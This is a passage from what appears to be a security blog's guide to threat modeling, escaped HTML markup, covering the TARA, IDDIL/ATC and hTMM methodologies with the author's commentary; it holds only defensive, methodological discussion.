&lt;p&gt;&lt;strong&gt;Threat Assessment and Remediation Analysis&lt;/strong&gt; (&lt;strong&gt;&lt;a href=&quot;https://www.mitre.org/news-insights/publication/threat-assessment-and-remediation-analysis-tara&quot;&gt;TARA&lt;/a&gt;&lt;/strong&gt;) &lt;a href=&quot;https://www.mitre.org/sites/default/files/2021-10/pr-14-2359-tara-introduction-and-overview.pdf&quot;&gt;&lt;i class=&quot;ph ph-file-text&quot;&gt;&lt;/i&gt;&lt;/a&gt;, designed by &lt;a href=&quot;https://www.mitre.org/&quot;&gt;MITRE&lt;/a&gt; in 2014 (not to be confused with &lt;a href=&quot;https://media10.connectedsocialmedia.com/intel/10/5725/Intel_IT_Business_Value_Prioritizing_Info_Security_Risks_with_TARA.pdf&quot;&gt;Intel’s TARA&lt;/a&gt;), is described as, &lt;em&gt;an engineering methodology used to identify and assess cyber vulnerabilities and select countermeasures effective at mitigating those vulnerabilities&lt;/em&gt;. What makes TARA unique is its application of a (&lt;em&gt;self-managed&lt;/em&gt;) catalog of controls-to-attack-vectors and its strategies for applying specific countermeasures based on specified risk tolerance. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;23&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h6 id=&quot;tara-assessment-workflow&quot;&gt;TARA Assessment Workflow&lt;/h6&gt;

&lt;p&gt;This section details the &lt;a href=&quot;#tara&quot;&gt;TARA&lt;/a&gt; assessment process flow, as well as the actions within each of the &lt;strong&gt;3&lt;/strong&gt; distinct phases of the methodology.&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/tara-assessment-workflow.png&quot; alt=&quot;Tara Assessment Workflow&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;Step 1: &lt;strong&gt;Cyber Threat Susceptibility Analysis&lt;/strong&gt; (&lt;em&gt;CTSA&lt;/em&gt;)
    &lt;ul&gt;
      &lt;li&gt;Compile technical details to build a &lt;strong&gt;&lt;a href=&quot;#data-flow-diagram&quot;&gt;cyber model&lt;/a&gt;&lt;/strong&gt; of the system. This is effectively an &lt;em&gt;application profile&lt;/em&gt; (similar to &lt;em&gt;&lt;a href=&quot;#pasta-stage-1-define-objectives&quot;&gt;PASTA:1&lt;/a&gt;&lt;/em&gt;, &lt;em&gt;&lt;a href=&quot;#trike-requirements-model&quot;&gt;Trike:Req&lt;/a&gt;&lt;/em&gt; and &lt;em&gt;&lt;a href=&quot;#owasp-threat-modeling-process&quot;&gt;OWASP:1&lt;/a&gt;&lt;/em&gt;). This methodology also recommends using a &lt;em&gt;&lt;a href=&quot;https://www.mitre.org/publications/systems-engineering-guide/enterprise-engineering/systems-engineering-for-mission-assurance/crown-jewels-analysis&quot;&gt;Crown Jewels Analysis&lt;/a&gt;&lt;/em&gt; (a.k.a. “CJA”) as input into this step.&lt;/li&gt;
      &lt;li&gt;Search the managed &lt;em&gt;threat catalog&lt;/em&gt; for plausible attack vectors based on the now-documented architecture.&lt;/li&gt;
      &lt;li&gt;Perform a threat-based &lt;a href=&quot;#risk-assessment-models&quot;&gt;risk assessment&lt;/a&gt;. TARA suggests a simple, &lt;em&gt;qualitative&lt;/em&gt; risk model such as the “&lt;a href=&quot;https://en.wikipedia.org/wiki/Risk_matrix&quot;&gt;Risk Cube&lt;/a&gt;” (i.e., &lt;em&gt;impact&lt;/em&gt; x &lt;em&gt;likelihood&lt;/em&gt;).&lt;/li&gt;
      &lt;li&gt;The output of the risk assessment is a &lt;strong&gt;vulnerability matrix&lt;/strong&gt; which contains a list of (&lt;em&gt;ID’ed&lt;/em&gt;) attack vectors with corresponding risk scores.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Step 2: &lt;strong&gt;Cyber Risk Remediation Assessment&lt;/strong&gt; (&lt;em&gt;CRRA&lt;/em&gt;)
    &lt;ul&gt;
      &lt;li&gt;Vulnerabilities (from the &lt;em&gt;vulnerability matrix&lt;/em&gt;) are mapped to countermeasures sourced from the managed &lt;em&gt;controls catalog&lt;/em&gt;.
        &lt;ul&gt;
          &lt;li&gt;The &lt;strong&gt;TARA Catalog&lt;/strong&gt; consists of a series of attack-to-control pairings which are described as 3-tuples of the form, &lt;em&gt;&amp;lt;Countermeasure ID, Attack vector ID, Countermeasure effect&amp;gt;&lt;/em&gt;, where the &lt;em&gt;effect&lt;/em&gt; is “preventative” (P) or “mitigating” (M).&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;An analysis is performed to estimate the utility and cost of each control-to-attack pair which ultimately yields the &lt;strong&gt;mitigation mapping table&lt;/strong&gt;. This table is essentially the first 5 rows of the matrix depicted below.&lt;/li&gt;
      &lt;li&gt;A holistic countermeasure &lt;strong&gt;selection strategy&lt;/strong&gt; is developed by evaluating the &lt;strong&gt;solution effectiveness table&lt;/strong&gt; (depicted below).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/tara-mitigation-mapping-table.png&quot; alt=&quot;Scored and Ranked Mitigation Mapping Table&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;Step 3: &lt;strong&gt;Knowledge Management&lt;/strong&gt; (&lt;em&gt;KM&lt;/em&gt;)
    &lt;ul&gt;
      &lt;li&gt;Extract applicable attack vectors from open (or closed) source &lt;a href=&quot;#attack-libraries&quot;&gt;cyber threat libraries&lt;/a&gt; (i.e. &lt;a href=&quot;https://capec.mitre.org&quot;&gt;CAPEC&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://cve.mitre.org&quot;&gt;CVE&lt;/a&gt;).&lt;/li&gt;
      &lt;li&gt;Further bolster managed &lt;em&gt;TARA Catalog&lt;/em&gt; content to reflect changing landscape of known threats and respective countermeasures.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;thoughts-on-tara&quot;&gt;Thoughts on TARA&lt;/h6&gt;
&lt;p&gt;A collection of my thoughts about &lt;a href=&quot;#tara&quot;&gt;TARA&lt;/a&gt; are listed below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;This methodology introduced me to the &lt;a href=&quot;https://www.researchgate.net/publication/233644703_Mission_Oriented_Risk_and_Design_Analysis_of_Critical_Information_Systems&quot;&gt;MORDA&lt;/a&gt; risk assessment model. &lt;em&gt;Fun&lt;/em&gt;!&lt;/li&gt;
  &lt;li&gt;TARA is not rigid, allowing swappable forms of risk ranking, attack generation, utility/cost scoring, etc…&lt;/li&gt;
  &lt;li&gt;The methodology was purpose-built for achieving &lt;a href=&quot;https://policy.defense.gov/Portals/11/Documents/MA_Strategy_Final_7May12.pdf&quot;&gt;mission assurance&lt;/a&gt; (MA) during a federal acquisition process.&lt;/li&gt;
  &lt;li&gt;The official TARA white paper claims “&lt;em&gt;Over a dozen TARA assessments have been conducted since 2011…&lt;/em&gt;”. This paper was published in &lt;em&gt;2014&lt;/em&gt;… So, only slightly over a dozen TARA assessments in a 3-year timespan? &lt;em&gt;Yikes!&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;TARA calls on &lt;em&gt;YOU&lt;/em&gt; to maintain an up-to-date threat-to-control catalog. This is incredibly difficult to manage without a full team dedicated to the pursuit. Given this is the standout feature of the methodology, I think it’s what &lt;strong&gt;cripples&lt;/strong&gt; it.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;iddilatc&quot;&gt;IDDIL/ATC&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Threat-Driven-Approach.pdf&quot;&gt;IDDIL/ATC&lt;/a&gt;&lt;/strong&gt; is a &lt;em&gt;threat-driven&lt;/em&gt; threat modeling approach developed by &lt;a href=&quot;https://www.lockheedmartin.com&quot;&gt;Lockheed Martin&lt;/a&gt; in 2019. A security strategy which is driven by &lt;a href=&quot;#compliance-frameworks&quot;&gt;compliance&lt;/a&gt; or through implementation of a pre-canned list of controls is doomed to fail in the face of a realistic slate of threats. It is on this basis that this methodology eschews compliance and any emphasis on merely &lt;em&gt;addressing vulnerabilities&lt;/em&gt; and instead favors mitigating true &lt;em&gt;threats&lt;/em&gt;. IDDIL/ATC stands for “&lt;em&gt;There are no idle threats - they attack&lt;/em&gt;” and consists of two distinct phases. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;24&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#iddilatc-discovery-phase-iddil&quot;&gt;Phase 1: Discovery (IDDIL)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#iddilatc-implementation-phase-atc&quot;&gt;Phase 2: Implementation (ATC)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;#iddilatc&quot;&gt;IDDIL/ATC&lt;/a&gt; was &lt;em&gt;also&lt;/em&gt; designed to integrate cleanly with a typical software engineering lifecycle (&lt;a href=&quot;https://www.synopsys.com/blogs/software-security/secure-sdlc/&quot;&gt;SDL&lt;/a&gt;). This is demonstrated via the graphic below.&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/iddilatc-threat-to-sdl.png&quot; alt=&quot;IDDIL/ATC Mapped to SDL&quot; /&gt;&lt;/center&gt;

&lt;h3 id=&quot;iddilatc-discovery-phase-iddil&quot;&gt;IDDIL/ATC Discovery Phase (IDDIL)&lt;/h3&gt;

&lt;p&gt;This section describes the &lt;em&gt;initial&lt;/em&gt; phase of the &lt;a href=&quot;#iddilatc&quot;&gt;IDDIL/ATC&lt;/a&gt; methodology. The &lt;strong&gt;5&lt;/strong&gt; steps of this phase correspond with “&lt;strong&gt;IDDIL&lt;/strong&gt;”. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;24&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Identify the Assets&lt;/strong&gt;: Identify business-critical assets as well as assets attackers may be uniquely interested in.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Define the Attack Surface&lt;/strong&gt;: Determine &lt;em&gt;attack surface&lt;/em&gt; by mapping macro-level components / elements of the system that contain, transmit or access &lt;em&gt;assets&lt;/em&gt;. &lt;em&gt;Essentially&lt;/em&gt;, produce a &lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagram&lt;/a&gt; (DFD).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Decompose the System&lt;/strong&gt;: For all components and flows within the model, layer in technology information and information about &lt;a href=&quot;#control-frameworks&quot;&gt;security controls&lt;/a&gt; present within the overall system. (Reference the &lt;a href=&quot;#trike-implementation-model&quot;&gt;Trike Implementation Model&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Identify Attack Vectors&lt;/strong&gt;: Leverage &lt;a href=&quot;#vulnerability-catalogs&quot;&gt;vulnerability catalogs&lt;/a&gt; and &lt;a href=&quot;#attack-libraries&quot;&gt;attack libraries&lt;/a&gt; to document &lt;em&gt;attack paths&lt;/em&gt;, for example, by using &lt;em&gt;&lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt;&lt;/em&gt;.
    &lt;ul&gt;
      &lt;li&gt;To be successful here, a &lt;em&gt;threat categorization&lt;/em&gt; system should be selected (or developed) to assist with modeling and analysis of threats. IDDIL/ATC suggests using a tweaked version of &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;, “&lt;strong&gt;STRIDE-LM&lt;/strong&gt;” which introduces the &lt;em&gt;lateral movement&lt;/em&gt; threat category. As part of this threat categorization matrix, include a list of controls for each threat that provide some mitigating factor. (i.e. “&lt;strong&gt;I&lt;/strong&gt;” in STRIDE is for &lt;em&gt;information disclosure&lt;/em&gt; - an example control could be &lt;em&gt;encryption&lt;/em&gt;.)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;List Threat Actors &amp;amp; Objectives&lt;/strong&gt;: Leveraging &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;CTI&lt;/a&gt;, develop a list of potential &lt;em&gt;threat actors&lt;/em&gt;.
    &lt;ul&gt;
      &lt;li&gt;It is suggested to create &lt;strong&gt;threat profiles&lt;/strong&gt; for each asset / component of the system. A threat profile is a tabular summary which contains information like &lt;em&gt;threat types&lt;/em&gt;, &lt;em&gt;attack surface&lt;/em&gt;, &lt;em&gt;attack vectors&lt;/em&gt;, &lt;em&gt;threat actors&lt;/em&gt;, &lt;em&gt;impacts&lt;/em&gt;, &lt;em&gt;vulnerabilities&lt;/em&gt;, &lt;em&gt;controls&lt;/em&gt; and other related information.&lt;/li&gt;
      &lt;li&gt;To best understand the relationship between &lt;em&gt;threats&lt;/em&gt;, &lt;em&gt;assets&lt;/em&gt; and &lt;em&gt;controls&lt;/em&gt;, reference the &lt;a href=&quot;#threats-assets-controls-relationship&quot;&gt;diagram provided below&lt;/a&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h5 id=&quot;threats-assets-controls-relationship&quot;&gt;Threats-Assets-Controls Relationship&lt;/h5&gt;

&lt;p&gt;&lt;a href=&quot;#iddilatc&quot;&gt;IDDIL/ATC&lt;/a&gt; is a &lt;em&gt;threat-driven&lt;/em&gt; methodology. To best understand how threats interact with assets and controls, we visualize their relationship as depicted below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;24&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/threats-assets-controls.png&quot; alt=&quot;Threats Assets Controls&quot; /&gt;&lt;/center&gt;

&lt;h3 id=&quot;iddilatc-implementation-phase-atc&quot;&gt;IDDIL/ATC Implementation Phase (ATC)&lt;/h3&gt;

&lt;p&gt;This section describes the second (and final) phase of the &lt;a href=&quot;#iddilatc&quot;&gt;IDDIL/ATC&lt;/a&gt; methodology. The &lt;strong&gt;3&lt;/strong&gt; steps of this phase correspond with “&lt;strong&gt;ATC&lt;/strong&gt;”. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;24&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Analysis&lt;/strong&gt;: Determine the impact of a successful compromise &lt;em&gt;for each&lt;/em&gt; threat scenario (use a vulnerability scoring tool like &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator&quot;&gt;CVSS&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Assessment &amp;amp; Triage&lt;/strong&gt;: Produce a &lt;em&gt;business / mission-prioritized&lt;/em&gt; list of findings based on the evaluations of threats (&lt;em&gt;conducted in the first step of this phase&lt;/em&gt;). A &lt;a href=&quot;#risk-assessment-models&quot;&gt;risk assessment model&lt;/a&gt; may be beneficial to help with the analysis &amp;amp; assessment from this and the previous step.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Controls&lt;/strong&gt;: Select and implement &lt;a href=&quot;#control-frameworks&quot;&gt;security controls&lt;/a&gt; to prevent/mitigate threats. A simple control taxonomy that IDDIL/ATC presents is - &lt;em&gt;inventory&lt;/em&gt;, &lt;em&gt;collect&lt;/em&gt;, &lt;em&gt;detect&lt;/em&gt;, &lt;em&gt;protect&lt;/em&gt;, &lt;em&gt;manage&lt;/em&gt; and &lt;em&gt;respond&lt;/em&gt;.
    &lt;ul&gt;
      &lt;li&gt;To further understand the tools and practices employed to identify and implement controls as part of IDDIL/ATC, &lt;a href=&quot;#iddilatc-controls-implementation&quot;&gt;reference the following section&lt;/a&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h5 id=&quot;iddilatc-controls-implementation&quot;&gt;IDDIL/ATC Controls Implementation&lt;/h5&gt;

&lt;p&gt;&lt;a href=&quot;#iddilatc&quot;&gt;IDDIL/ATC&lt;/a&gt; includes a number of tools and practices, purpose-built to facilitate the selection, implementation and evaluation of &lt;a href=&quot;#control-frameworks&quot;&gt;security controls&lt;/a&gt; and their effectiveness (further detailed below). &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;24&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Functional Controls Hierarchy&lt;/strong&gt; (&lt;strong&gt;FCH&lt;/strong&gt;) - The controls column in the &lt;em&gt;threat categorization&lt;/em&gt; model chosen earlier corresponds to the portfolio of categorical controls located within the FCH. Alongside these controls is the high-level control function and the tools / capabilities an organization has implemented that possesses that security property (implementation). A sample record within an FCH is provided below.&lt;/p&gt;

    &lt;table&gt;
      &lt;thead&gt;
        &lt;tr&gt;
          &lt;th&gt;Function&lt;/th&gt;
          &lt;th&gt;Category&lt;/th&gt;
          &lt;th&gt;Implementation&lt;/th&gt;
          &lt;th&gt;Effectiveness &lt;strong&gt;**&lt;/strong&gt;&lt;/th&gt;
        &lt;/tr&gt;
      &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
          &lt;td&gt;Detect&lt;/td&gt;
          &lt;td&gt;Endpoint Signature&lt;/td&gt;
          &lt;td&gt;Anti-Virus&lt;/td&gt;
          &lt;td&gt;Partial&lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
    &lt;/table&gt;

    &lt;ul&gt;
      &lt;li&gt;A benefit of constructing and maintaining an FCH is the identification of &lt;em&gt;duplicate&lt;/em&gt; controls within your organization.&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;**&lt;/strong&gt; The “Effectiveness” field is reserved for the following, &lt;em&gt;controls effectiveness matrix&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Controls Effectiveness Matrix&lt;/strong&gt; - An extension of the &lt;em&gt;FCH&lt;/em&gt;, this matrix adds the “Effectiveness” field which captures the analysis of how effective a control is, mapped to a specific threat / attack vector within an organization.
    &lt;ul&gt;
      &lt;li&gt;Effectiveness is recorded as “&lt;em&gt;full&lt;/em&gt;”, “&lt;em&gt;partial&lt;/em&gt;”, “&lt;em&gt;none&lt;/em&gt;” or “&lt;em&gt;complete control gap&lt;/em&gt;”, whereby the final rating is reserved for situations where &lt;strong&gt;nothing&lt;/strong&gt; exists within the matrix (and thus within the organization) for a particular control &lt;em&gt;category&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Controls Effectiveness Scorecard&lt;/strong&gt; - Provides a “dashboard”-like view of enterprise controls effectivness coverage where high-level control categories (e.g. detect, protect, etc…) are mapped to identified attack surface components (e.g. User, Network, OS, Storage, etc…). A scorecard is created &lt;em&gt;for each&lt;/em&gt; identified attack use-case. This is depicted below.&lt;/li&gt;
&lt;/ul&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/iddilatc-controls-effectiveness-scorecard.png&quot; alt=&quot;Controls Effectiveness Scorecard&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Architectural Rendering&lt;/strong&gt; - Combined, the previous tools can be collectively used as inputs into the devlopment of a controls-laden &lt;em&gt;architectural rendering&lt;/em&gt;. This diagram resembles a &lt;a href=&quot;#data-flow-diagram&quot;&gt;flow diagram&lt;/a&gt; whereby we map the relationship between attack surface entities, directional data flows and overlays where controls and attacks apply within the architectural visualization. Though not an exact replication of an architectural rendering, this &lt;a href=&quot;https://www.synopsys.com/glossary/what-is-threat-modeling.html&quot;&gt;threat model DFD from Synopsys&lt;/a&gt; is a similar representation, depicting components/assets, threats and controls, all in one visualization.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;thoughts-and-other-tid-bits-for-iddilatc&quot;&gt;Thoughts and Other Tid-Bits for IDDIL/ATC&lt;/h3&gt;
&lt;p&gt;Below I provide a few final parting thoughts and observations related to the &lt;a href=&quot;#iddilatc&quot;&gt;IDDIL/ATC&lt;/a&gt; threat modeling methodology.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;IDDIL/ATC preaches a focus on &lt;em&gt;practical&lt;/em&gt; and &lt;em&gt;scalable&lt;/em&gt; integration within a standard engineering lifecycle while at the same time requesting the assessor &lt;em&gt;manually&lt;/em&gt; build and maintain a series of controls matrices, potentially lengthy lists of threats/attack scenarios and generally produce &lt;em&gt;a lot&lt;/em&gt; of documentation. Without a clear way to automate some of these steps (which this methodology does not cover), I don’t see this as being a &lt;em&gt;particularly scalable&lt;/em&gt; methodology.&lt;/li&gt;
  &lt;li&gt;An even &lt;em&gt;heavier&lt;/em&gt; focus with this methodology is in leveraging &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;threat data&lt;/a&gt;, threat categorization models (e.g. &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;, STRIDE-LM, &lt;a href=&quot;https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html&quot;&gt;Cyber Kill Chain&lt;/a&gt;) and other threat-focused tools (i.e. &lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt;) to better determine risk and where effort should be spent. This quality of IDDIL/ATC is where it shines in my opinion. I too believe that by taking a truly threat-focused approach to security, an organization can more effectively mitigate risk.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;STRIDE-LM&lt;/strong&gt; is a new concept for me. It’s just the normal &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt; we all know and love but also includes “&lt;strong&gt;LM&lt;/strong&gt;” which stands for &lt;em&gt;lateral movement&lt;/em&gt;. The added desired security property is therefore &lt;em&gt;segmentation&lt;/em&gt; / &lt;em&gt;least-privilege&lt;/em&gt;. A worthy edition to STRIDE to say the least…&lt;/li&gt;
  &lt;li&gt;Despite this methodology not being as “scalable” as the authors may suggest, I truly like this model and am surprised it has not been popularized more. It introduces valuable and novel concepts such as &lt;em&gt;threat profiles&lt;/em&gt;, the &lt;em&gt;FCH&lt;/em&gt;, &lt;em&gt;controls scorecard&lt;/em&gt; and the &lt;em&gt;architectural rendering&lt;/em&gt;. All of which I think could be valuable to produce as part of an ongoing internal threat modeling function.&lt;/li&gt;
  &lt;li&gt;I wanted to make a quick note on the difference between a &lt;a href=&quot;#data-flow-diagram&quot;&gt;DFD&lt;/a&gt; produced &lt;a href=&quot;#iddilatc-discovery-phase-iddil&quot;&gt;early-on&lt;/a&gt; in the threat modeling lifecycle and the “&lt;em&gt;architectural rendering&lt;/em&gt;” that this model introduces in the &lt;a href=&quot;#iddilatc-implementation-phase-atc&quot;&gt;final phase&lt;/a&gt;. I think they are very similar in nature and if anything the latter just contains additional context and layers for the identified threats and controls juxtaposed inline with the assets / components from the original model. Keep in mind, a DFD will only contain assets, components and data flows - not the controls and threat information that gets developed in subsequent steps/phases within this and other similar threat modeling methodologies.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;hybrid-threat-modeling-method-htmm&quot;&gt;Hybrid Threat Modeling Method (hTMM)&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;Hybrid Threat Modeling Method&lt;/strong&gt; (&lt;strong&gt;&lt;a href=&quot;https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=516617&quot;&gt;hTMM&lt;/a&gt;&lt;/strong&gt;) &lt;a href=&quot;https://resources.sei.cmu.edu/asset_files/TechnicalNote/2018_004_001_516627.pdf&quot;&gt;&lt;i class=&quot;ph ph-file-text&quot;&gt;&lt;/i&gt;&lt;/a&gt; is an approach to &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt;, published by Carnegie Mellon’s &lt;a href=&quot;https://www.sei.cmu.edu&quot;&gt;Software Engineering Institute&lt;/a&gt; in &lt;em&gt;2018&lt;/em&gt;, that combines features from the following models - &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;, &lt;a href=&quot;#security-cards&quot;&gt;Security Cards&lt;/a&gt; and &lt;a href=&quot;#persona-non-grata-png&quot;&gt;Persona non Grata&lt;/a&gt;. At a high level, hTMM consists of &lt;strong&gt;5&lt;/strong&gt; distinct steps, further described below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;25&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/htmm-process-flow.png&quot; alt=&quot;hTMM Process Flow&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Step 1&lt;/strong&gt;: Identify the target system. hTMM recommends leveraging steps 1-3 of &lt;a href=&quot;https://resources.sei.cmu.edu/asset_files/WhitePaper/2013_019_001_297333.pdf&quot;&gt;SQUARE&lt;/a&gt; to divine business/security goals, assets and system artifacts.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: Brainstorm potential threats and attack vectors using &lt;a href=&quot;#security-cards&quot;&gt;Security Cards&lt;/a&gt;. Conduct this exercise with developers, system users and cybersecurity staff.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 3&lt;/strong&gt;: Using the output from the &lt;em&gt;Security Cards&lt;/em&gt; exercise, filter attack vectors/scenarios based on &lt;a href=&quot;#persona-non-grata-png&quot;&gt;realistic personas&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 4&lt;/strong&gt;: For each identified threat, summarize the finding with the following attributes - &lt;em&gt;actor&lt;/em&gt;, &lt;em&gt;purpose&lt;/em&gt;, &lt;em&gt;target&lt;/em&gt;, &lt;em&gt;action&lt;/em&gt;, &lt;em&gt;result of action&lt;/em&gt;, &lt;em&gt;impact&lt;/em&gt; and &lt;em&gt;threat type&lt;/em&gt; (i.e. &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 5&lt;/strong&gt;: Conduct a formal &lt;a href=&quot;#risk-assessment-models&quot;&gt;risk assessment&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;thoughts-and-observations-for-htmm&quot;&gt;Thoughts and Observations for hTMM&lt;/h6&gt;

&lt;p&gt;In this section, I briefly cover a few thoughts and observations after learning more about the &lt;a href=&quot;#hybrid-threat-modeling-method-htmm&quot;&gt;hTMM&lt;/a&gt; methodology. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;25&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The primary foundations of hTMM are all &lt;em&gt;threat&lt;/em&gt;-related - threat categorization using &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt; and threat generation using &lt;a href=&quot;#persona-non-grata-png&quot;&gt;PnG&lt;/a&gt; + &lt;a href=&quot;#security-cards&quot;&gt;Security Cards&lt;/a&gt;. This is an &lt;em&gt;unsurprising&lt;/em&gt; theme amongst most documented &lt;a href=&quot;#methodologies&quot;&gt;threat modeling methodologies&lt;/a&gt;. &lt;em&gt;Follow the threats&lt;/em&gt;!&lt;/li&gt;
  &lt;li&gt;hTMM emphasizes the importance of early specification of &lt;em&gt;security requirements&lt;/em&gt;, as this will have measurable impact for the security of the system architecture later on in the system lifecycle.&lt;/li&gt;
  &lt;li&gt;Unfortunately, the authors continue to proliferate an incorrect understanding that &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt; is a theat modeling method (a.k.a. “&lt;em&gt;TMM&lt;/em&gt;”), when in fact it is simply a &lt;em&gt;threat categorization&lt;/em&gt; tool.&lt;/li&gt;
  &lt;li&gt;No explicit direction is given to create a &lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagram&lt;/a&gt;. Interesting to not build a “model” in a “threat &lt;em&gt;modeling&lt;/em&gt;” methodology!&lt;/li&gt;
  &lt;li&gt;At various points, the authors suggest the use of “&lt;em&gt;tool support&lt;/em&gt;” to facilitate the summarization and analysis of threat findings. At no point though do they really explain what these tools are or offer one of their own. For the record, this guide introduces a wealth of &lt;a href=&quot;#tooling&quot;&gt;threat modeling tools&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Overall, hTMM is pretty barebones and leaves a lot to be interpreted. Its inclusion of &lt;a href=&quot;#security-cards&quot;&gt;Security Cards&lt;/a&gt; and &lt;a href=&quot;#persona-non-grata-png&quot;&gt;PnG&lt;/a&gt; is admittedly useful, but not something that is exclusive to this methodology.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;security-cards&quot;&gt;Security Cards&lt;/h4&gt;

